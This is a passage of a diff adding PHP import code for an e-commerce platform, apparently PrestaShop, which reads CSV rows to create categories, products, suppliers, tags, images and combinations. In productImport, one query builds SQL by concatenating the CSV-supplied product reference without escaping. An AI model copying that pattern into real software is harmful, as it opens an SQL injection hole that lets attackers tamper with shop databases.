tempnam(_PS_TMP_IMG_DIR_, 'ps_import'); + $watermark_types = explode(',', Configuration::get('WATERMARK_TYPES')); + + switch ($entity) + { + default: + case 'products': + $image_obj = new Image($id_image); + $path = $image_obj->getPathForCreation(); + break; + case 'categories': + $path = _PS_CAT_IMG_DIR_.(int)$id_entity; + break; + } + $url = str_replace(' ', '%20', trim($url)); + + // Evaluate the memory required to resize the image: if it's too much, you can't resize it. + if (!ImageManager::checkImageMemoryLimit($url)) + return false; + + // 'file_exists' doesn't work on distant file, and getimagesize make the import slower. + // Just hide the warning, the traitment will be the same. + if (@copy($url, $tmpfile)) + { + ImageManager::resize($tmpfile, $path.'.jpg'); + $images_types = ImageType::getImagesTypes($entity); + foreach ($images_types as $image_type) + ImageManager::resize($tmpfile, $path.'-'.stripslashes($image_type['name']).'.jpg', $image_type['width'], $image_type['height']); + + if (in_array($image_type['id_image_type'], $watermark_types)) + Hook::exec('actionWatermark', array('id_image' => $id_image, 'id_product' => $id_entity)); + } + else + { + unlink($tmpfile); + return false; + } + unlink($tmpfile); + return true; + } + + public function categoryImport() + { + $cat_moved = array(); + + $this->receiveTab(); + $handle = $this->openCsvFile(); + $default_language_id = (int)Configuration::get('PS_LANG_DEFAULT'); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + $tab_categ = array(Configuration::get('PS_HOME_CATEGORY'), Configuration::get('PS_ROOT_CATEGORY')); + if (isset($info['id']) && in_array((int)$info['id'], $tab_categ)) + { + $this->errors[] = Tools::displayError('The ID category cannot be the same as the ID Root category or the ID Home category.'); + continue; + } + AdminImportController::setDefaultValues($info); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $category = new Category((int)$info['id']); + else + { + if (isset($info['id']) && (int)$info['id'] && Category::existsInDatabase((int)$info['id'], 'category')) + $category = new Category((int)$info['id']); + else + $category = new Category(); + } + + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $category); + + if (isset($category->parent) && is_numeric($category->parent)) + { + if (isset($cat_moved[$category->parent])) + $category->parent = $cat_moved[$category->parent]; + $category->id_parent = $category->parent; + } + elseif (isset($category->parent) && is_string($category->parent)) + { + $category_parent = Category::searchByName($default_language_id, $category->parent, true); + if ($category_parent['id_category']) + { + $category->id_parent = (int)$category_parent['id_category']; + $category->level_depth = (int)$category_parent['level_depth'] + 1; + } + else + { + $category_to_create = new Category(); + $category_to_create->name = AdminImportController::createMultiLangField($category->parent); + $category_to_create->active = 1; + $category_link_rewrite = Tools::link_rewrite($category_to_create->name[$default_language_id]); + $category_to_create->link_rewrite = $category_link_rewrite; + $category_to_create->id_parent = Configuration::get('PS_HOME_CATEGORY'); // Default parent is home for unknown category to create + if (($field_error = $category_to_create->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category_to_create->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $category_to_create->add()) + $category->id_parent = $category_to_create->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $category_to_create->name[$default_language_id], + (isset($category_to_create->id) ? $category_to_create->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + if (isset($category->link_rewrite) && !empty($category->link_rewrite[$default_language_id])) + $valid_link = Validate::isLinkRewrite($category->link_rewrite[$default_language_id]); + else + $valid_link = false; + + if (!Shop::isFeatureActive()) + $category->id_shop_default = 1; + else + $category->id_shop_default = (int)Context::getContext()->shop->id; + + $bak = $category->link_rewrite[$default_language_id]; + if ((isset($category->link_rewrite) && empty($category->link_rewrite[$default_language_id])) || !$valid_link) + { + $category->link_rewrite = Tools::link_rewrite($category->name[$default_language_id]); + if ($category->link_rewrite == '') + { + $category->link_rewrite = 'friendly-url-autogeneration-failed'; + $this->warnings[] = sprintf(Tools::displayError('URL rewriting failed to auto-generate a friendly URL for: %s'), $category->name[$default_language_id]); + } + $category->link_rewrite = AdminImportController::createMultiLangField($category->link_rewrite); + } + + if (!$valid_link) + $this->warnings[] = sprintf( + Tools::displayError('Rewrite link for %1$s (ID: %2$s) was re-written as %3$s.'), + $bak, + (isset($info['id']) ? $info['id'] : 'null'), + $category->link_rewrite[$default_language_id] + ); + $res = false; + if (($field_error = $category->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && empty($this->errors)) + { + $category_already_created = Category::searchByNameAndParentCategoryId( + $default_language_id, + $category->name[$default_language_id], + $category->id_parent + ); + + // If category already in base, get id category back + if ($category_already_created['id_category']) + { + $cat_moved[$category->id] = (int)$category_already_created['id_category']; + $category->id = (int)$category_already_created['id_category']; + } + + if ($category->id && $category->id == $category->id_parent) + { + $this->errors[] = Tools::displayError('a category cannot be its own parent'); + continue; + } + + /* No automatic nTree regeneration for import */ + $category->doNotRegenerateNTree = true; + + // If id category AND id category already in base, trying to update + $categories_home_root = array(Configuration::get('PS_ROOT_CATEGORY'), Configuration::get('PS_HOME_CATEGORY')); + if ($category->id && $category->categoryExists($category->id) && !in_array($category->id, $categories_home_root)) + $res = $category->update(); + if ($category->id == Configuration::get('PS_ROOT_CATEGORY')) + $this->errors[] = Tools::displayError('The root category cannot be modified.'); + // If no id_category or update failed + if (!$res) + $res = $category->add(); + } + //copying images of categories + if (isset($category->image) && !empty($category->image)) + if (!(AdminImportController::copyImg($category->id, null, $category->image, 'categories'))) + $this->warnings[] = $category->image.' '.Tools::displayError('cannot be copied.'); + // If both failed, mysql error + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + $error_tmp = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : '').Db::getInstance()->getMsgError(); + if ($error_tmp != '') + $this->errors[] = $error_tmp; + } + else + { + // Associate category to shop + if (Shop::isFeatureActive()) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'category_shop + WHERE id_category = '.(int)$category->id + ); + + if (!Shop::isFeatureActive()) + $info['shop'] = 1; + elseif (!isset($info['shop']) || empty($info['shop'])) + $info['shop'] = implode($this->multiple_value_separator, Shop::getContextListShopID()); + + // Get shops for each attributes + $info['shop'] = explode($this->multiple_value_separator, $info['shop']); + + foreach ($info['shop'] as $shop) + if (!is_numeric($shop)) + $category->addShop(Shop::getIdByName($shop)); + else + $category->addShop($shop); + } + } + } + + /* Import has finished, we can regenerate the categories nested tree */ + Category::regenerateEntireNtree(); + + $this->closeCsvFile($handle); + } + + public function productImport() + { + $this->receiveTab(); + $handle = $this->openCsvFile(); + $default_language_id = (int)Configuration::get('PS_LANG_DEFAULT'); + AdminImportController::setLocale(); + $shop_ids = Shop::getCompleteListOfShopsID(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + + if (Tools::getValue('forceIDs') && isset($info['id']) && (int)$info['id']) + $product = new Product((int)$info['id']); + else + { + if (array_key_exists('id', $info) && (int)$info['id'] && Product::existsInDatabase((int)$info['id'], 'product')) + $product = new Product((int)$info['id']); + else + $product = new Product(); + } + + if (array_key_exists('id', $info) && (int)$info['id'] && Product::existsInDatabase((int)$info['id'], 'product')) + { + $product->loadStockData(); + $category_data = Product::getProductCategories((int)$product->id); + foreach ($category_data as $tmp) + $product->category[] = $tmp; + } + + AdminImportController::setEntityDefaultValues($product); + AdminImportController::arrayWalk($info, array('AdminImportController', 'fillInfo'), $product); + + if (!Shop::isFeatureActive()) + $product->shop = 1; + elseif (!isset($product->shop) || empty($product->shop)) + $product->shop = implode($this->multiple_value_separator, Shop::getContextListShopID()); + + if (!Shop::isFeatureActive()) + $product->id_shop_default = 1; + else + $product->id_shop_default = (int)Context::getContext()->shop->id; + + // link product to shops + $product->id_shop_list = array(); + foreach (explode($this->multiple_value_separator, $product->shop) as $shop) + if (!is_numeric($shop)) + $product->id_shop_list[] = Shop::getIdByName($shop); + else + $product->id_shop_list[] = $shop; + + if ((int)$product->id_tax_rules_group != 0) + { + if (Validate::isLoadedObject(new TaxRulesGroup($product->id_tax_rules_group))) + { + $address = $this->context->shop->getAddress(); + $tax_manager = TaxManagerFactory::getManager($address, $product->id_tax_rules_group); + $product_tax_calculator = $tax_manager->getTaxCalculator(); + $product->tax_rate = $product_tax_calculator->getTotalRate(); + } + else + $this->addProductWarning( + 'id_tax_rules_group', + $product->id_tax_rules_group, + Tools::displayError('Invalid tax rule group ID. You first need to create a group with this ID.') + ); + } + if (isset($product->manufacturer) && is_numeric($product->manufacturer) && Manufacturer::manufacturerExists((int)$product->manufacturer)) + $product->id_manufacturer = (int)$product->manufacturer; + else if (isset($product->manufacturer) && is_string($product->manufacturer) && !empty($product->manufacturer)) + { + if ($manufacturer = Manufacturer::getIdByName($product->manufacturer)) + $product->id_manufacturer = (int)$manufacturer; + else + { + $manufacturer = new Manufacturer(); + $manufacturer->name = $product->manufacturer; + if (($field_error = $manufacturer->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $manufacturer->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $manufacturer->add()) + $product->id_manufacturer = (int)$manufacturer->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $manufacturer->name, + (isset($manufacturer->id) ? $manufacturer->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($product->supplier) && is_numeric($product->supplier) && Supplier::supplierExists((int)$product->supplier)) + $product->id_supplier = (int)$product->supplier; + else if (isset($product->supplier) && is_string($product->supplier) && !empty($product->supplier)) + { + if ($supplier = Supplier::getIdByName($product->supplier)) + $product->id_supplier = (int)$supplier; + else + { + $supplier = new Supplier(); + $supplier->name = $product->supplier; + $supplier->active = true; + + if (($field_error = $supplier->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $supplier->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $supplier->add()) + { + $product->id_supplier = (int)$supplier->id; + $supplier->associateTo($product->id_shop_list); + } + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $supplier->name, + (isset($supplier->id) ? $supplier->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + + if (isset($product->price_tex) && !isset($product->price_tin)) + $product->price = $product->price_tex; + else if (isset($product->price_tin) && !isset($product->price_tex)) + { + $product->price = $product->price_tin; + // If a tax is already included in price, withdraw it from price + if ($product->tax_rate) + $product->price = (float)number_format($product->price / (1 + $product->tax_rate / 100), 6, '.', ''); + } + else if (isset($product->price_tin) && isset($product->price_tex)) + $product->price = $product->price_tex; + + if (isset($product->category) && is_array($product->category) && count($product->category)) + { + $product->id_category = array(); // Reset default values array + foreach ($product->category as $value) + { + if (is_numeric($value)) + { + if (Category::categoryExists((int)$value)) + $product->id_category[] = (int)$value; + else + { + $category_to_create = new Category(); + $category_to_create->id = (int)$value; + $category_to_create->name = AdminImportController::createMultiLangField($value); + $category_to_create->active = 1; + $category_to_create->id_parent = Configuration::get('PS_HOME_CATEGORY'); // Default parent is home for unknown category to create + $category_link_rewrite = Tools::link_rewrite($category_to_create->name[$default_language_id]); + $category_to_create->link_rewrite = AdminImportController::createMultiLangField($category_link_rewrite); + if (($field_error = $category_to_create->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category_to_create->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $category_to_create->add()) + $product->id_category[] = (int)$category_to_create->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $category_to_create->name[$default_language_id], + (isset($category_to_create->id) ? $category_to_create->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + else if (is_string($value) && !empty($value)) + { + $category = Category::searchByName($default_language_id, trim($value), true); + if ($category['id_category']) + $product->id_category[] = (int)$category['id_category']; + else + { + $category_to_create = new Category(); + if (!Shop::isFeatureActive()) + $category_to_create->id_shop_default = 1; + else + $category_to_create->id_shop_default = (int)Context::getContext()->shop->id; + $category_to_create->name = AdminImportController::createMultiLangField(trim($value)); + $category_to_create->active = 1; + $category_to_create->id_parent = (int)Configuration::get('PS_HOME_CATEGORY'); // Default parent is home for unknown category to create + $category_link_rewrite = Tools::link_rewrite($category_to_create->name[$default_language_id]); + $category_to_create->link_rewrite = AdminImportController::createMultiLangField($category_link_rewrite); + if (($field_error = $category_to_create->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $category_to_create->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $category_to_create->add()) + $product->id_category[] = (int)$category_to_create->id; + else + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + $category_to_create->name[$default_language_id], + (isset($category_to_create->id) ? $category_to_create->id : 'null') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + } + } + } + } + } + + $product->id_category_default = isset($product->id_category[0]) ? (int)$product->id_category[0] : ''; + + $link_rewrite = (is_array($product->link_rewrite) && count($product->link_rewrite)) ? trim($product->link_rewrite[$default_language_id]) : ''; + + $valid_link = Validate::isLinkRewrite($link_rewrite); + + if ((isset($product->link_rewrite[$default_language_id]) && empty($product->link_rewrite[$default_language_id])) || !$valid_link) + { + $link_rewrite = Tools::link_rewrite($product->name[$default_language_id]); + if ($link_rewrite == '') + $link_rewrite = 'friendly-url-autogeneration-failed'; + } + + if (!$valid_link) + $this->warnings[] = sprintf( + Tools::displayError('Rewrite link for %1$s (ID: %2$s) was re-written as %3$s.'), + $product->name[$default_language_id], + (isset($info['id']) ? $info['id'] : 'null'), + $link_rewrite + ); + + $product->link_rewrite = AdminImportController::createMultiLangField($link_rewrite); + + // replace the value of separator by coma + if ($this->multiple_value_separator != ',') + foreach ($product->meta_keywords as &$meta_keyword) + if (!empty($meta_keyword)) + $meta_keyword = str_replace($this->multiple_value_separator, ',', $meta_keyword); + + // Convert comma into dot for all floating values + foreach (Product::$definition['fields'] as $key => $array) + if ($array['type'] == Product::TYPE_FLOAT) + $product->{$key} = str_replace(',', '.', $product->{$key}); + + // Indexation is already 0 if it's a new product, but not if it's an update + $product->indexed = 0; + + $res = false; + $field_error = $product->validateFields(UNFRIENDLY_ERROR, true); + $lang_field_error = $product->validateFieldsLang(UNFRIENDLY_ERROR, true); + if ($field_error === true && $lang_field_error === true) + { + // check quantity + if ($product->quantity == null) + $product->quantity = 0; + + // If match ref is specified && ref product && ref product already in base, trying to update + if (Tools::getValue('match_ref') == 1 && $product->reference && $product->existsRefInDatabase($product->reference)) + { + $datas = Db::getInstance()->getRow(' + SELECT product_shop.`date_add`, p.`id_product` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.`reference` = "'.$product->reference.'" + '); + $product->id = (int)$datas['id_product']; + $product->date_add = pSQL($datas['date_add']); + $res = $product->update(); + } // Else If id product && id product already in base, trying to update + else if ($product->id && Product::existsInDatabase((int)$product->id, 'product')) + { + $datas = Db::getInstance()->getRow(' + SELECT product_shop.`date_add` + FROM `'._DB_PREFIX_.'product` p + '.Shop::addSqlAssociation('product', 'p').' + WHERE p.`id_product` = '.(int)$product->id); + $product->date_add = pSQL($datas['date_add']); + $res = $product->update(); + } + // If no id_product or update failed + if (!$res) + { + if (isset($product->date_add) && $product->date_add != '') + $res = $product->add(false); + else + $res = $product->add(); + } + } + + $shops = array(); + $product_shop = explode($this->multiple_value_separator, $product->shop); + foreach ($product_shop as $shop) + { + $shop = trim($shop); + if (!is_numeric($shop)) + $shop = Shop::getIdByName($shop); + + if (in_array($shop, $shop_ids)) + $shops[] = $shop; + else + $this->addProductWarning(Tools::safeOutput($info['name']), $product->id, $this->l('Shop is not valid')); + } + if (empty($shops)) + $shops = Shop::getContextListShopID(); + // If both failed, mysql error + if (!$res) + { + $this->errors[] = sprintf( + Tools::displayError('%1$s (ID: %2$s) cannot be saved'), + (isset($info['name']) ? Tools::safeOutput($info['name']) : 'No Name'), + (isset($info['id']) ? Tools::safeOutput($info['id']) : 'No ID') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''). + Db::getInstance()->getMsgError(); + + } + else + { + // Product supplier + if (isset($product->id_supplier) && isset($product->supplier_reference)) + { + $id_product_supplier = ProductSupplier::getIdByProductAndSupplier((int)$product->id, 0, (int)$product->id_supplier); + if ($id_product_supplier) + $product_supplier = new ProductSupplier((int)$id_product_supplier); + else + $product_supplier = new ProductSupplier(); + + $product_supplier->id_product = $product->id; + $product_supplier->id_product_attribute = 0; + $product_supplier->id_supplier = $product->id_supplier; + $product_supplier->product_supplier_price_te = $product->wholesale_price; + $product_supplier->product_supplier_reference = $product->supplier_reference; + $product_supplier->save(); + } + + // SpecificPrice (only the basic reduction feature is supported by the import) + if ((isset($info['reduction_price']) && $info['reduction_price'] > 0) || (isset($info['reduction_percent']) && $info['reduction_percent'] > 0)) + { + $specific_price = new SpecificPrice(); + $specific_price->id_product = (int)$product->id; + // @todo multishop specific price import + $specific_price->id_shop = $this->context->shop->id; + $specific_price->id_currency = 0; + $specific_price->id_country = 0; + $specific_price->id_group = 0; + $specific_price->price = -1; + $specific_price->id_customer = 0; + $specific_price->from_quantity = 1; + $specific_price->reduction = (isset($info['reduction_price']) && $info['reduction_price']) ? $info['reduction_price'] : $info['reduction_percent'] / 100; + $specific_price->reduction_type = (isset($info['reduction_price']) && $info['reduction_price']) ? 'amount' : 'percentage'; + $specific_price->from = (isset($info['reduction_from']) && Validate::isDate($info['reduction_from'])) ? $info['reduction_from'] : '0000-00-00 00:00:00'; + $specific_price->to = (isset($info['reduction_to']) && Validate::isDate($info['reduction_to'])) ? $info['reduction_to'] : '0000-00-00 00:00:00'; + if (!$specific_price->add()) + $this->addProductWarning(Tools::safeOutput($info['name']), $product->id, $this->l('Discount is invalid')); + } + + if (isset($product->tags) && !empty($product->tags)) + { + // Delete tags for this id product, for no duplicating error + Tag::deleteTagsForProduct($product->id); + + if (!is_array($product->tags)) + { + $product->tags = AdminImportController::createMultiLangField($product->tags); + foreach ($product->tags as $key => $tags) + { + $is_tag_added = Tag::addTags($key, $product->id, $tags, $this->multiple_value_separator); + if (!$is_tag_added) + { + $this->addProductWarning(Tools::safeOutput($info['name']), $product->id, $this->l('Tags list is invalid')); + break; + } + } + } + else + { + foreach ($product->tags as $key => $tags) + { + $str = ''; + foreach ($tags as $one_tag) + $str .= $one_tag.$this->multiple_value_separator; + $str = rtrim($str, $this->multiple_value_separator); + + $is_tag_added = Tag::addTags($key, $product->id, $str, $this->multiple_value_separator); + if (!$is_tag_added) + { + $this->addProductWarning(Tools::safeOutput($info['name']), (int)$product->id, 'Invalid tag(s) ('.$str.')'); + break; + } + } + } + } + //delete existing images if "delete_existing_images" is set to 1 + if (isset($product->delete_existing_images)) + if ((bool)$product->delete_existing_images) + $product->deleteImages(); + else if (isset($product->image) && is_array($product->image) && count($product->image)) + $product->deleteImages(); + + if (isset($product->image) && is_array($product->image) && count($product->image)) + { + $product_has_images = (bool)Image::getImages($this->context->language->id, (int)$product->id); + foreach ($product->image as $key => $url) + { + $url = trim($url); + $error = false; + if (!empty($url)) + { + $url = str_replace(' ', '%20', $url); + + $image = new Image(); + $image->id_product = (int)$product->id; + $image->position = Image::getHighestPosition($product->id) + 1; + $image->cover = (!$key && !$product_has_images) ? true : false; + // file_exists doesn't work with HTTP protocol + if (@fopen($url, 'r') == false) + $error = true; + else if (($field_error = $image->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $image->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true && $image->add()) + { + // associate image to selected shops + $image->associateTo($shops); + if (!AdminImportController::copyImg($product->id, $image->id, $url)) + { + $image->delete(); + $this->warnings[] = sprintf(Tools::displayError('Error copying image: %s'), $url); + } + } + else + $error = true; + } + else + $error = true; + + if ($error) + $this->warnings[] = sprintf(Tools::displayError('Product n°%1$d: the picture cannot be saved: %2$s'), $image->id_product, $url); + } + } + if (isset($product->id_category)) + $product->updateCategories(array_map('intval', $product->id_category)); + + // Features import + $features = get_object_vars($product); + + if (isset($features['features']) && !empty($features['features'])) + foreach (explode($this->multiple_value_separator, $features['features']) as $single_feature) + { + $tab_feature = explode(':', $single_feature); + $feature_name = trim($tab_feature[0]); + $feature_value = trim($tab_feature[1]); + $position = isset($tab_feature[2]) ? $tab_feature[2]: false; + if(!empty($feature_name) && !empty($feature_value)) + { + $id_feature = Feature::addFeatureImport($feature_name, $position); + $id_feature_value = FeatureValue::addFeatureValueImport($id_feature, $feature_value); + Product::addFeatureProductImport($product->id, $id_feature, $id_feature_value); + } + } + // clean feature positions to avoid conflict + Feature::cleanPositions(); + } + + // stock available + if (Shop::isFeatureActive()) + { + foreach ($shops as $shop) + StockAvailable::setQuantity((int)$product->id, 0, $product->quantity, (int)$shop); + } + else + StockAvailable::setQuantity((int)$product->id, 0, $product->quantity, $this->context->shop->id); + + } + + $this->closeCsvFile($handle); + } + + public function attributeImport() + { + $default_language = Configuration::get('PS_LANG_DEFAULT'); + + $groups = array(); + foreach (AttributeGroup::getAttributesGroups($default_language) as $group) + $groups[$group['name']] = (int)$group['id_attribute_group']; + + $attributes = array(); + foreach (Attribute::getAttributes($default_language) as $attribute) + $attributes[$attribute['attribute_group'].'_'.$attribute['name']] = (int)$attribute['id_attribute']; + + $this->receiveTab(); + $handle = $this->openCsvFile(); + AdminImportController::setLocale(); + for ($current_line = 0; $line = fgetcsv($handle, MAX_LINE_SIZE, $this->separator); $current_line++) + { + if (count($line) == 1 && empty($line[0])) + continue; + + if (Tools::getValue('convert')) + $line = $this->utf8EncodeArray($line); + $info = AdminImportController::getMaskedRow($line); + $info = array_map('trim', $info); + + AdminImportController::setDefaultValues($info); + + if (!Shop::isFeatureActive()) + $info['shop'] = 1; + elseif (!isset($info['shop']) || empty($info['shop'])) + $info['shop'] = implode($this->multiple_value_separator, Shop::getContextListShopID()); + + // Get shops for each attributes + $info['shop'] = explode($this->multiple_value_separator, $info['shop']); + + $id_shop_list = array(); + foreach ($info['shop'] as $shop) + if (!is_numeric($shop)) + $id_shop_list[] = Shop::getIdByName($shop); + else + $id_shop_list[] = $shop; + + if(isset($info['id_product'])) + $product = new Product((int)$info['id_product'], false, $default_language); + else + continue; + + $id_image = null; + + //delete existing images if "delete_existing_images" is set to 1 + if (array_key_exists('delete_existing_images', $info) && $info['delete_existing_images'] && !isset($this->cache_image_deleted[(int)$product->id])) + { + $product->deleteImages(); + $this->cache_image_deleted[(int)$product->id] = true; + } + + if (isset($info['image_url']) && $info['image_url']) + { + $product_has_images = (bool)Image::getImages($this->context->language->id, $product->id); + + $url = $info['image_url']; + $image = new Image(); + $image->id_product = (int)$product->id; + $image->position = Image::getHighestPosition($product->id) + 1; + $image->cover = (!$product_has_images) ? true : false; + + $field_error = $image->validateFields(UNFRIENDLY_ERROR, true); + $lang_field_error = $image->validateFieldsLang(UNFRIENDLY_ERROR, true); + + if ($field_error === true && $lang_field_error === true && $image->add()) + { + $image->associateTo($id_shop_list); + if (!AdminImportController::copyImg($product->id, $image->id, $url)) + { + $this->warnings[] = sprintf(Tools::displayError('Error copying image: %s'), $url); + $image->delete(); + } + else + $id_image = array($image->id); + } + else + { + $this->warnings[] = sprintf( + Tools::displayError('%s cannot be saved'), + (isset($image->id_product) ? ' ('.$image->id_product.')' : '') + ); + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : '').mysql_error(); + } + } + elseif (isset($info['image_position']) && $info['image_position']) + { + $images = $product->getImages($default_language); + + if ($images) + foreach ($images as $row) + if ($row['position'] == (int)$info['image_position']) + { + $id_image = array($row['id_image']); + break; + } + if (!$id_image) + $this->warnings[] = sprintf( + Tools::displayError('No image was found for combination with id_product = %s and image position = %s.'), + $product->id, + (int)$info['image_position'] + ); + } + + $id_attribute_group = 0; + // groups + $groups_attributes = array(); + if(isset($info['group'])) + foreach (explode($this->multiple_value_separator, $info['group']) as $key => $group) + { + $tab_group = explode(':', $group); + $group = trim($tab_group[0]); + if (!isset($tab_group[1])) + $type = 'select'; + else + $type = trim($tab_group[1]); + + // sets group + $groups_attributes[$key]['group'] = $group; + + // if position is filled + if (isset($tab_group[2])) + $position = trim($tab_group[2]); + else + $position = false; + + if (!isset($groups[$group])) + { + $obj = new AttributeGroup(); + $obj->is_color_group = false; + $obj->group_type = pSQL($type); + $obj->name[$default_language] = $group; + $obj->public_name[$default_language] = $group; + $obj->position = (!$position) ? AttributeGroup::getHigherPosition() + 1 : $position; + + if (($field_error = $obj->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $obj->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + $obj->add(); + $obj->associateTo($id_shop_list); + $groups[$group] = $obj->id; + } + else + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''); + + // fils groups attributes + $id_attribute_group = $obj->id; + $groups_attributes[$key]['id'] = $id_attribute_group; + } + else // alreay exists + { + $id_attribute_group = $groups[$group]; + $groups_attributes[$key]['id'] = $id_attribute_group; + } + } + + // inits attribute + $id_product_attribute = 0; + $id_product_attribute_update = false; + $attributes_to_add = array(); + + // for each attribute + if(isset($info['attribute'])) + foreach (explode($this->multiple_value_separator, $info['attribute']) as $key => $attribute) + { + $tab_attribute = explode(':', $attribute); + $attribute = trim($tab_attribute[0]); + // if position is filled + if (isset($tab_attribute[1])) + $position = trim($tab_attribute[1]); + else + $position = false; + + if (isset($groups_attributes[$key])) + { + $group = $groups_attributes[$key]['group']; + if (!isset($attributes[$group.'_'.$attribute]) && count($groups_attributes[$key]) == 2) + { + $id_attribute_group = $groups_attributes[$key]['id']; + $obj = new Attribute(); + // sets the proper id (corresponding to the right key) + $obj->id_attribute_group = $groups_attributes[$key]['id']; + $obj->name[$default_language] = str_replace('\n', '', str_replace('\r', '', $attribute)); + $obj->position = (!$position && isset($groups[$group])) ? Attribute::getHigherPosition($groups[$group]) + 1 : $position; + + if (($field_error = $obj->validateFields(UNFRIENDLY_ERROR, true)) === true && + ($lang_field_error = $obj->validateFieldsLang(UNFRIENDLY_ERROR, true)) === true) + { + $obj->add(); + $obj->associateTo($id_shop_list); + $attributes[$group.'_'.$attribute] = $obj->id; + } + else + $this->errors[] = ($field_error !== true ? $field_error : '').(isset($lang_field_error) && $lang_field_error !== true ? $lang_field_error : ''); + } + + $info['minimal_quantity'] = isset($info['minimal_quantity']) && $info['minimal_quantity'] ? (int)$info['minimal_quantity'] : 1; + + $info['wholesale_price'] = str_replace(',', '.', $info['wholesale_price']); + $info['price'] = str_replace(',', '.', $info['price']); + $info['ecotax'] = str_replace(',', '.', $info['ecotax']); + $info['weight'] = str_replace(',', '.', $info['weight']); + + // if a reference is specified for this product, get the associate id_product_attribute to UPDATE + if (isset($info['reference']) && !empty($info['reference'])) + { + $id_product_attribute = Combination::getIdByReference($product->id, strval($info['reference'])); + + // updates the attribute + if ($id_product_attribute) + { + // gets all the combinations of this product + $attribute_combinations = $product->getAttributeCombinations($default_language); + foreach ($attribute_combinations as $attribute_combination) + { + if ($id_product_attribute && in_array($id_product_attribute, $attribute_combination)) + { + $product->updateAttribute( + $id_product_attribute, + (float)$info['wholesale_price'], + (float)$info['price'], + (float)$info['weight'], + 0, + (float)$info['ecotax'], + $id_image, + strval($info['reference']), + strval($info['ean13']), + (int)$info['default_on'], + 0, + strval($info['upc']), + (int)$info['minimal_quantity'], + 0, + null, + $id_shop_list + ); + + $id_product_attribute_update = true; + } + } + } + } + + // if no attribute reference is specified, creates a new one + if (!$id_product_attribute) + { + $id_product_attribute = $product->addCombinationEntity( + (float)$info['wholesale_price'], + (float)$info['price'], + (float)$info['weight'], + 0, + (float)$info['ecotax'], + (int)$info['quantity'], + $id_image, + strval($info['reference']), + 0, + strval($info['ean13']), + (int)$info['default_on'], + 0, + strval($info['upc']), + (int)$info['minimal_quantity'], + $id_shop_list + ); + } + + // fills our attributes array, in order to add the attributes to the product_attribute afterwards + if(isset($attributes[$group.'_'.$attribute])) + $attributes_to_add[] = (int)$attributes[$group.'_'.$attribute]; + + // after insertion, we clean attribute position and group attribute position + $obj = new Attribute(); + $obj->cleanPositions((int)$id_attribute_group, false); + AttributeGroup::cleanPositions(); + } + } + + $product->checkDefaultAttributes(); + if (!$product->cache_default_attribute) + Product::updateDefaultAttribute($product->id); + if ($id_product_attribute) + { + // now adds the attributes in the attribute_combination table + if ($id_product_attribute_update) + { + Db::getInstance()->execute(' + DELETE FROM '._DB_PREFIX_.'product_attribute_combination + WHERE id_product_attribute = 